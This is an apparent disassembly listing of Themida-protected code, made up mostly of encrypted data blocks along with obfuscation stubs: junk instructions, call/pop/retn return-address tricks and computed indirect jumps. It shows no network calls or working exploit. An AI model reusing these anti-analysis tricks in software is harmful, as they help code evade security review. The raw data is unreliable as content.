		dd 59767538h, 1611472Bh, 2C80E8F6h, 0D51226ABh,	0CAC5075Dh
		dd 0BF202284h, 0F7A8B41h, 0CFDE4C1Ah, 0BA434CF5h, 8EBBC985h
		dd 0ACB7E981h, 0A1F7F86Ah, 33CAC507h, 1007h, 0F655500h
		dd 0EE61D1DEh, 0CF968C40h, 66C1A9C7h, 8A854326h, 303F2973h
		dd 5B5497EDh, 0C5CA7A42h, 6B64DC38h, 919E4A92h,	3E31300Ch
		dd 0A7A895EFh, 0C6C97E46h, 12683727h, 8900005Dh, 8950243Ch
		dd 405E0h, 0E8830000h, 24048704h, 242C895Ch, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 68241C89h, 7617h,	0BB241C89h
		dd 6D2D7BF9h, 3C7CC381h, 0E3C11174h, 0B9EB8102h, 43041952h
		dd 8105EBC1h, 64EC82C3h, 5BDD89FEh, 241C8B54h, 5504C483h
		dd 26240481h, 8F0C1C11h, 0BF570843h, 0C1C1126h,	5F087B29h
		dd 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	2C8B5C24h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0F91FB6E9h
		dd 9C2A82FFh, 7BA4C058h, 0DAF57279h, 0D1855491h, 185DA4B8h
		dd 0FFC50306h, 7C46E2E0h, 7475EA59h, 0F315A22Dh, 0E4E9362Ch
		dd 768D8D4Fh, 6A06185Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0A1FDC357h,	0F79EB293h
		dd 13E90183h, 0F0000000h, 22CFB0FFh, 21EC921Ah,	0E21F2C22h
		dd 27EBCEC0h, 8D89F0F6h, 611285Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0FC35747h, 0B531ADEAh, 6111C19h
		dd 2DD185C7h, 6B780611h, 9D8B0000h, 61132DDh, 0D91850Bh
		dd 85C70611h, 6112709h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BFACB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFACB	proc near		; CODE XREF: Themida_:005BFAC3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5BFACB	endp

; ---------------------------------------------------------------------------
		daa
		or	eax, 3E1C1154h
		setalc
		mov	esi, 0E1B5FFBFh
		or	[ecx], dl
		push	es
		push	0
		push	ecx
		call	sub_5BFAF5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFAF5	proc near		; CODE XREF: Themida_:005BFAEDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BFAF5	endp

; ---------------------------------------------------------------------------
		db 38h,	50h, 0Bh
		dd 1CA13CCEh, 8B859AEEh, 8E9F0h, 0C31F0000h, 500F906h
		dd 95FF7DC4h, 6111DA9h,	0CE9h, 0E04DC000h, 256C08BFh, 378F7A84h
		dd 0FF006A04h, 1105C595h, 0EBC08B06h, 171AE969h, 0B032B335h
		dd 53F4E938h, 4C933B7Eh, 0AEBEB752h, 0D404E12Dh, 95FDA398h
		dd 2DC8BCE6h, 0BB8DD50Bh, 7CF37889h, 0A2C9F7Fh,	0F8DFFC92h
		dd 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 0B6475734h, 38D2D1A9h
		dd 0D22B881Bh, 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 8E5C5918h
		dd 30DA8AB7h, 0BEC4B06Eh, 32512B1Dh, 27EF4776h,	0CAFEB34Ah
		dd 0A80A5E90h, 8A4ED717h, 0A80A5FDFh, 75EAD5ABh, 0A80A5FB7h
		dd 8A4ED41Dh, 57AE5DBAh, 8A4ED4CAh, 0A80A5CA7h,	75EAD5ABh
		dd 0A80A5D6Eh, 8A4ED538h, 0A80A5DE8h, 8A4ED5BAh, 0A80DA262h
		dd 75EAD5ABh, 0A7D42F25h, 3133235h, 0B00E44C0h,	0F790A752h
		dd 2157BA24h, 924AC0D1h, 7CD42F43h, 3133235h, 0B00E4CC0h
		dd 0A690A752h, 2157BA27h, 924ADCD1h, 2BD42F43h,	3133236h
		dd 0B00E58C0h, 5290A752h, 2157BA27h, 927528D1h,	0B4D42F43h
		dd 3133237h, 0B031A4C0h, 0EF90A752h, 2157BA26h,	927524D1h
		dd 0ED42F43h, 3133237h,	0B031B0C0h, 6D90A752h, 2157BA26h
		dd 92753CD1h, 80D42F43h, 3133230h, 0B031B8C0h, 0EB90A752h
		dd 2157BA21h, 927534D1h, 12B8C343h, 0DF152A50h,	6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0EADCC0D5h, 0ED96A45Dh, 8A152AA8h
		dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h
		dd 75EAD5BAh, 3AAE63CEh, 8C042111h, 0AB534284h,	0FFEA2211h
		dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h
		dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h
		dd 351A241h, 27BFEA66h,	0A8DB2FEEh, 75133206h, 2011294h
		dd 0D815A0D9h, 79AEA45Dh, 0AE51A1ECh, 22DC0941h, 8C0D7854h
		dd 103773BAh, 21732ADFh, 0FA5128C8h, 5BEA2C4Ch,	8C152BFDh
		dd 988150h, 0AE49F045h,	0D2A5FBABh, 0A42C89EFh,	0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 0EB9CC0D5h, 0DDDAA45Dh, 8668A15Ch, 0A8ADE782h, 0CC152A54h
		dd 0A78C30BAh, 529E2C45h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh
		dd 0D815A0D9h, 79AEA45Dh, 20949A0Dh, 8C551A23h,	21848132h
		dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
		dd 8A15C234h, 290BA245h, 9274CABEh, 0A0242943h,	4D1957DFh
		dd 0A8515E00h, 75532A54h, 0B95E7FD7h, 19CDA152h, 9BFC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 0D815A0D9h, 79AEA45Dh, 20949A0Dh
		dd 8C651A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h
		dd 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h,	86902586h
		dd 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h,	0D5D8AE38h
		dd 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh
		dd 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h,	22FD6276h
		dd 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh
		dd 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h,	0A7B2229Dh
		dd 85E1D4h, 22DC0886h, 8C0D7854h, 0F8E173BAh, 8A9FA7FEh
		dd 5757BA17h, 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 0AFE9A245h, 75152A54h, 0B95AE7D7h, 20452652h, 0FA5128C8h
		dd 5BEA2C4Ch, 9BFB2BF5h, 85318694h, 0AC59622Eh,	0AEA58050h
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h,	5787D5FEh
		dd 2357B34Ah, 4917868Ch, 0A8DB2FEFh, 75133206h,	28E9C494h
		dd 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh
		dd 2BBD2910h, 175D690h,	0D5DAAA30h, 7650ED58h, 0A851A245h
		dd 18EA80F8h, 0AE40AD98h, 58B9E2DFh, 32DC0885h,	8C0D7854h
		dd 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h,	0EDDAC3B9h
		dd 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 75BF8654h, 0B95E7FD7h, 26DDA152h, 25FB6377h
		dd 92472ACEh, 0CE825D43h, 0ECE4AAECh, 29028EEh,	319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h, 0D815B0D9h
		dd 7BAEA45Dh, 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh
		dd 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch
		dd 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 8A8FA7FFh, 5757BA17h
		dd 20A09A87h, 25FB0E03h, 92472ACEh, 0CE825D43h,	0ECD8ACECh
		dd 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0EEA4C0D5h, 0ED96A45Dh, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 924ACCCEh, 32DCF143h, 8C0D4AE9h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0F7A738C8h
		dd 7462C4Ch, 0B0311FDFh, 3C6D552h, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 888FA75Ch, 0FB57BA25h, 0EAA8B0D9h, 7BAEA45Dh
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	8C0D4A5Ah
		dd 15CB2F16h, 75133234h, 54142B96h, 8A152ABDh, 0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 16EB0000h, 5 dup(0)
; ---------------------------------------------------------------------------
		add	[ecx], eax
		enter	3, 0
		sbb	[esi], al
		mov	edi, [ebp+61105BDh]
		mov	[ebp+6112479h],	esi
		push	eax
		mov	[esp], eax
		mov	bx, 417Fh
		push	0
		push	0
		jmp	loc_5C0191
; ---------------------------------------------------------------------------
		pop	eax
		std
		dec	esp
		xchg	eax, esp
		mov	[ebx+2E54243Ch], esp
		xor	al, 34h
		retf	0BCD0h
; ---------------------------------------------------------------------------
		dd 0FB733332h
		db 0Ch
; ---------------------------------------------------------------------------


loc_5C0191:				; CODE XREF: Themida_:005C0178j
		lea	eax, [ebp+618665Bh]
		push	0
		push	esi
		call	sub_5C01A2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C01A2	proc near		; CODE XREF: Themida_:005C019Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C01A2	endp

; ---------------------------------------------------------------------------
		dw 0A75Fh
		dd 0F7BB586Bh, 5000CEA3h, 8E0F5260h, 0
		dd 5E85Eh, 29380000h, 0F20B102h, 85h, 89615B00h, 8D8B2404h
		dd 61105B5h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 22A560C3h, 6ADA8Bh, 1520C981h, 95FF3126h
		dd 611075Dh, 0E9DF8B66h, 55Dh, 89DA8B66h, 1114CDB5h, 0E806h
		dd 815D0000h, 186660EDh, 10E906h, 3AE10000h, 363EFCE3h
		dd 91C685B3h, 1E59AA28h, 6A0B9Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 5412BBC3h, 4E656FCCh
		dd 8B66EE07h, 23D568FEh, 0E9600703h, 5,	95AF3477h, 10E990h
		dd 840000h, 3725F1E6h, 642E449Ah, 6EA8E346h, 81615258h
		dd 2C752434h, 0BD030703h, 61126A9h, 1C759D8Bh, 95FF0611h
		dd 61105C5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	14C35747h, 657EB58Dh, 9D290618h, 6110B0Dh, 655206C7h
		dd 9D8B6D67h, 61129C1h,	6F0446C7h, 8B6C636Eh, 846C7CFh
		dd 737361h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Bh,	4AC35242h, 70A8B3Dh, 81A0866Ah,	777AAAEAh, 6A006A56h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 66F9C352h, 89F344B9h, 112825B5h, 7E858D06h
		dd 8B061865h, 110FC19Dh, 13E806h, 0B2580000h, 5E297CA5h
		dd 3C7D9205h, 1B04EE7Eh, 7D584FE4h, 0C18D893Ah,	5A061104h
		dd 6FBA6690h, 0BA6650C9h, 0F906248h, 95FFF9B7h,	6110BA9h
		dd 0C00B83B2h, 0C840Fh,	0E9F90000h, 3A5h, 24659D0Bh, 4E80611h
		dd 2C000000h, 0E8000001h, 14h, 0CEC791h, 0C6533CC0h, 1FCAEDC7h
		dd 4E51AFB0h, 0CEF2EB7Bh, 0FE8h, 0CF610800h, 88F054Dh
		dd 98859DCh, 7FF140CDh,	8B0Fh, 5F5F0000h, 8BD78B50h, 0E9042444h
		dd 11h,	0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 66008B62h
		dd 897818BBh, 0E9042444h, 0Ch, 0A8126788h, 5B0C23E7h, 0E23CE1B5h
		dd 5E9F558h, 0C3000000h, 10385111h, 5C595FFh, 0B5600611h
		dd 0B58D6186h, 618657Eh, 0EE9h,	0DAF57200h, 0D1855491h
		dd 6BAF6AF6h, 0C7F32DE0h, 34383106h, 0BCD28136h, 0C76BBE12h
		dd 2D370446h, 8D8B3134h, 6110899h, 846C7h, 8B000000h, 1101059Dh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 28E4C356h, 0BB50687h, 1126219Dh
		dd 7E858D06h, 6A061865h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1E5FC351h, 88631CC4h
		dd 29B96663h, 48950F6h,	0D6BB6624h, 0A995FFF0h,	6A06110Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0E31C353h, 7C3B613Ch, 0B70F87E7h,	0FC00BC9h
		dd 8084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 15B93C86h, 2A986529h, 11E9DAh, 4E290000h
		dd 0A51E0E83h, 0D2059E50h, 5A302644h, 0E935119Fh, 205h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 47C35242h
		dd 0F221DC70h, 4D654C7Ch, 5E8B3h, 0F08C0000h, 0F468E9Dh
		dd 605ADBBFh, 6B59589h,	9D2B0611h, 6113439h, 0C0A56861h
		dd 6660D332h, 5250D98Bh, 310F5850h, 810Fh, 585A0000h, 24048161h
		dd 2CCD4087h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0AEC35141h, 1E99633Bh, 91EDEC5Eh, 95FFD08Bh, 61105C5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 70C35545h
		dd 371E904Dh, 10E9h, 0D0410F00h, 2D1695ADh, 0ACC91F59h
		dd 6E445A5Fh, 0CB81667Ch, 0B58D7EFAh, 618657Eh,	3EFD10B9h
		dd 4606C746h, 0B7656C69h, 0C18166F3h, 46C7BCA1h, 6E6F6D04h
		dd 8D8BF963h, 6111509h,	6C0846C7h, 6A737361h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 15B4C355h, 33291986h, 1127F195h, 0C46C706h, 0
; ---------------------------------------------------------------------------
		call	sub_5C0665
		pop	edi
		xlat
		xchg	eax, esi
		dec	ebp
		db	66h
		jbe	short loc_5C066B
		retf
; ---------------------------------------------------------------------------
		db 79h,	0A2h, 23h
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		cmc
		pop	esi
		mov	ecx, 2FB300D7h

; =============== S U B	R O U T	I N E =======================================



sub_5C0665	proc near		; CODE XREF: Themida_:005C064Cp
		mov	[ebp+6112871h],	edi


loc_5C066B:				; CODE XREF: Themida_:005C0655j
		pop	edx
		push	0
		or	ecx, [ebp+6112AA1h]
		lea	eax, [ebp+618657Eh]
		push	0
		push	esi
		call	sub_5C0685
		and	[esi-3Dh], bl
sub_5C0665	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0685	proc near		; CODE XREF: sub_5C0665+18p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C0685	endp

; ---------------------------------------------------------------------------
		push	ebp
		cmp	eax, eax
		mov	edi, [ebp+6110A8Dh]
		mov	[ebp+61131F9h],	edi
		push	eax
		push	esi
		push	edi
		pusha
		popa
		pop	ebx
		pop	ebx
		mov	[esp], eax
		mov	dx, 9B4Fh
		call	dword ptr [ebp+6110BA9h]
		or	eax, eax
		jz	loc_5C0724
		jmp	loc_5C0731
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5C06D0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C06D0	proc near		; CODE XREF: Themida_:005C06C8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5C06D0	endp

; ---------------------------------------------------------------------------
		dd 63CD2A3Dh, 5CB229CBh, 13E8h,	804C4900h, 4A45EE21h, 10E83DA9h
		dd 0D791AF70h, 0DC7DF2A8h, 135DBD31h, 0F5F0611h, 1789h
		dd 12E900h, 0C88A0000h,	74A53ABBh, 0C7AFF6BCh, 0F97410CCh
		dd 96BB9436h
; ---------------------------------------------------------------------------


loc_5C0724:				; CODE XREF: Themida_:005C06BAj
		jmp	near ptr dword_5C01C4+5Dh
; ---------------------------------------------------------------------------
		jle	loc_5C0731
		mov	bl, ch


loc_5C0731:				; CODE XREF: Themida_:005C06C0j
					; Themida_:005C0729j
		lea	esi, [ebp+6117197h]
		push	0
		push	edi
		call	sub_5C0742
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0742	proc near		; CODE XREF: Themida_:005C073Ap
					; Themida_:005C0754j

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C0742	endp

; ---------------------------------------------------------------------------
		dw 0D5C0h
; ---------------------------------------------------------------------------
		jz	short sub_5C0742
		xor	[ebp+6112385h],	eax
		xor	ebx, [ebp+6112B95h]
		mov	eax, 0
		mov	edi, [ebp+6110625h]
		jmp	esi
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+6112B01h]
		mov	eax, ecx
		lea	ebx, [ebp+6110C2Dh]
		mov	eax, 1434h
		mov	[ebp+6112245h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5C1BCE
; ---------------------------------------------------------------------------
		align 4
		dd 50Ch	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C1BCE:				; CODE XREF: Themida_:005C0795j
		jmp	loc_5C1BFD
; ---------------------------------------------------------------------------
		mov	dword ptr [esp], 0
		call	$+5
		pop	ebp
		sub	ebp, 6188019h
		mov	eax, [esp+4]
		mov	[ebp+6112321h],	eax
		mov	eax, 0
		lea	ecx, [ebp+6114E3Eh]
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5C1BFD:				; CODE XREF: Themida_:loc_5C1BCEj
		mov	eax, 6754h
		lea	ecx, [ebp+6188121h]
		push	ebx
		sub	[ebp+6113205h],	esi
		pop	eax
		mov	[ebp+611285Dh],	ecx
		sub	[ebp+611077Dh],	esi
		mov	dword ptr [ebp+6112DD1h], 5904h
		push	0
		push	esi
		call	sub_5C1C31
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1C31	proc near		; CODE XREF: Themida_:005C1C29p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C1C31	endp

; ---------------------------------------------------------------------------
		adc	edx, [eax+54F862E4h]
		call	sub_5C1C60
		pop	ecx
		mov	[esi+5B1AA508h], edi
		mov	edi, [eax]
		mov	edx, 546DB872h
		mov	cl, 42h
		shl	byte ptr [eax+esi*8-3Bh], 1

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5C1C60	proc near		; CODE XREF: Themida_:005C1C47p
		jmp	sub_5C1C79
sub_5C1C60	endp

; ---------------------------------------------------------------------------
		db 0A9h, 0C8h, 90h
		dd 0DFEC5043h, 8EA3D368h, 0AAB9AACh, 1461FF27h
		db 0B2h

; =============== S U B	R O U T	I N E =======================================



sub_5C1C79	proc near		; CODE XREF: sub_5C1C60j
		pop	eax
		mov	dword ptr [ebp+6112709h], 0
		push	0
		push	edi
		call	sub_5C1C8F
		and	[edi-3Dh], bl
sub_5C1C79	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C1C8F	proc near		; CODE XREF: sub_5C1C79+Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5C1C8F	endp

; ---------------------------------------------------------------------------
		mov	bh, 3Ch
		clc
		xor	[ebp+6110B35h],	ebx
		push	dword ptr [ebp+6113199h]
		push	0
		push	ebp
		call	sub_5C1CB9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1CB9	proc near		; CODE XREF: Themida_:005C1CB1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C1CB9	endp

; ---------------------------------------------------------------------------
		push	eax
		sub	eax, 0FFFFFFE6h
		test	eax, 1DA995FFh
		adc	[esi], eax
		mov	eax, [ebp+6112B69h]
		add	[ebp+61127E9h],	esi
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5C1CF4
; ---------------------------------------------------------------------------
		db 0CBh	; Ë
		db 0A6h, 0B3h, 0F5h
		dd 8DF97D91h
; ---------------------------------------------------------------------------


loc_5C1CF4:				; CODE XREF: Themida_:005C1CEAj
		jmp	short loc_5C1D02
; ---------------------------------------------------------------------------
		sub	[eax-62h], dl
		jnb	short loc_5C1D66
		add	[edx+eax*2+98FA513h], bh


loc_5C1D02:				; CODE XREF: Themida_:loc_5C1CF4j
		jmp	loc_5C22D5
; ---------------------------------------------------------------------------
		jmp	loc_5C22CE
; ---------------------------------------------------------------------------
		dd 7AD0DF05h, 5E343B28h, 401619C4h, 266C63E6h, 54B44FCh
		dd 984879A2h, 0E767C197h, 0C700A2E8h, 262082C8h, 0D9D16329h
		dd 7E0B88B6h, 86869FC9h, 7F8E8143h, 7A75F103h, 0E5EA59A3h
		dd 66E10377h, 579F3969h, 279344A6h, 0CBB50A08h,	9B4AA076h
		dd 4EFEC697h, 6B4BBA5h
		db 0E7h, 0BBh
; ---------------------------------------------------------------------------


loc_5C1D66:				; CODE XREF: Themida_:005C1CF9j
		dec	edi
		enter	0FFFFE11Ah, 95h
		iret
; ---------------------------------------------------------------------------
		dd 4D979B29h, 0EBDA0A95h, 0FFC94C11h, 0E060BC41h, 92E01EEFh
		dd 1AC45E51h, 2C71D15h,	0B9A4F00Dh, 15668626h, 0D04ECEDDh
		dd 2637D1CDh, 3683059Ah, 0F572B0F8h, 0C22E23FAh, 21FCF372h
		dd 0BED1813Fh, 0D5AE35BCh, 0AC8815A3h, 68D8BEB1h, 0D8252A1Ah
		dd 13D21018h, 8686258Ch, 6C9A37A1h, 8FEB691h, 0A3F93F05h
		dd 0E8E766A0h, 7D29F7A2h, 820C0A0Dh, 8E086210h,	0D43315E8h
		dd 0B4631723h, 7B1C4838h, 5A0FC8CBh, 39AF3259h,	0ECEB4530h
		dd 154DFD92h, 0AEDA5A10h, 5BA17830h, 95A477E8h,	0B0E9CB77h
		dd 69DA4C02h, 4B494682h, 7BA07CBBh, 5602B0E4h, 0F7C5751Ah
		dd 36425A0Fh, 1AACAB42h, 399EB4BFh, 2526E063h, 8EE4642Ah
		dd 964A535Ch, 3D69B7E2h, 4119CA4Dh, 922EA485h, 40FD170Bh
		dd 0EE82BE4Fh, 63389549h, 0B7B0E098h, 0FEBB95A9h, 10DD38h
		dd 636D0000h, 84D46647h, 197307F4h, 35CADh, 8043FF00h
		dd 27267E8Fh, 8CB565EAh, 6B2CF96h, 0BD3ED888h, 0C8BDEE86h
		dd 99E3BAFEh, 8F8047ACh, 4954C27Eh, 0A4FEF173h,	0CC69B4BBh
		dd 0C8A98B9Ch, 9E498F98h, 9053A191h, 5ED20E9Fh,	727DEE38h
		dd 0CAF082ABh, 5F8B6BFCh, 96540A38h, 87EB19CFh,	282FE25Dh
		dd 0CF9653FAh, 31CCC37Ch, 84F4000Fh, 96536393h,	2654E0CFh
		dd 38373670h, 6093A48h,	783179E7h, 0D32A251Ch, 0E9091A6Eh
		dd 536C9ABDh, 4DFBCF96h, 414EFF25h, 0A35BF711h,	0CA676190h
		dd 0EE1B40A6h, 28110734h, 0C0859BAEh, 7830D2BBh, 5B313E2Ah
		dd 8B121DC9h, 0CCC37D97h, 25CE7EA4h, 64B93738h,	0B6D91575h
		dd 8E261988h, 0D709619Fh, 555A8A4Ch, 954BFFh, 0B4110000h
		dd 9BE13C68h, 0B6F0A6A9h, 0E265B8B7h, 0CF968D34h, 8244DFA1h
		dd 9C064C43h, 0A1F3AFA0h, 0E15FAEA1h, 76A2D089h, 0DF2E211Ch
		dd 8C3CEA61h, 0BDCBCF96h, 967778EBh, 0A29CC6AAh, 136950ADh
		dd 8916D610h, 9A84D027h, 3D138141h, 0A9747BEBh,	5989753h
		dd 79BF48D8h, 1A8CC2CDh, 0BE6CE32Eh, 45CF966Ah,	0CB64B937h
		dd 101371A6h, 371D12D6h, 0A07D72EDh, 966A76A9h,	0C641D7CFh
		dd 98C8C700h, 36D7D80Ah, 8000660Ah, 6B13C354h, 0FE65CF96h
		dd 17342CF1h, 437B9199h, 267E8F80h, 1619CE25h, 54B49F7h
		dd 76A76650h, 7D47A6D4h, 0EA32CBC4h, 59967778h,	0D7DEFC07h
		dd 7C9676F1h, 0E933CAC5h, 0B0F87679h, 98FEF172h, 95A91CF3h
		dd 1D2688CFh, 530FCD07h, 0FFFFFF2Bh, 386CB4F9h,	977CC748h
		dd 3341D5A7h, 3B342D47h, 3B247EE2h, 377E934h, 0DFD0126Ah
		dd 323D2F79h, 0D47BB7EBh, 0C9858326h, 0B9EB8F3Dh, 73668788h
		dd 72EC2A3Dh, 538D177Dh, 50D10BCCh, 65EA15C3h, 0C98505B5h
		dd 1A8806B2h, 5934483h,	64DDC985h, 9E4A926Bh, 0E1270C91h
		dd 67A14466h, 27281ADCh, 3A353771h, 0D6826EE3h,	0B42F59Ah
		dd 4DC7CF96h, 0A3F10E91h, 1B1DA0CAh, 6DE210EDh,	0CF960EBDh
		dd 12803E4Ah, 1D12CC26h, 7A46F315h, 8C111ECAh, 0E56A2654h
		dd 0D5AE9069h, 0D12BF20Eh, 0F1331916h, 0A5A47976h, 3F0421EBh
		dd 8C834EF9h, 5BF8215Eh, 0C4D957E5h, 36404FF8h,	4AEF3E31h
		dd 422F0D16h, 8FE5051Eh, 8AD8505Fh, 0A6005659h,	854A9A6h
		dd 0C8CDD0DFh, 0EDD1CF58h, 0A57C5384h, 0DDh, 323D2F45h
		dd 72A0B7EBh, 0F15BF82Dh, 2F5DD543h, 0C58B8443h, 25225B45h
		dd 0B716C44Bh, 9F2DCF95h, 0EF90BCF1h, 0E3EC598Bh, 1A2829B7h
		dd 72AB7943h, 9B4ED83Eh, 0FC64BE94h, 0B1F01E31h, 6977CF95h
		dd 716E64BDh, 7EEC1AE2h, 7B74F002h, 94FABEA2h, 73D9D612h
		dd 543A3531h, 381E11D2h, 848BBAC8h, 0BBB4B6ECh,	2D1F75D5h
		dd 2C144E22h, 3392DA23h, 0AD707FE9h, 19C9357h, 0FA030C3Bh
		dd 3F302C46h, 0C45F81EEh, 12156BE6h, 0D576C6A0h, 0CA7542EAh
		dd 8A3838C5h, 0E37690E8h, 97BCC887h, 58FF0B6Fh,	0CF9594AAh
		dd 0C55F0BB9h, 548C111Eh, 0FB68BADCh, 0ADA2A2F4h, 872C1ACBh
		dd 7E000000h, 0FD977B65h, 2C2A2520h, 0E088A163h, 0F96D983Fh
		dd 1868CF95h, 219D0D0Fh, 95FA002Eh, 81E907CFh, 8B84434Bh
		dd 86DE31DFh, 1CD51F9Dh, 0B5B0F214h, 9752D4BAh,	50CEC17Ch
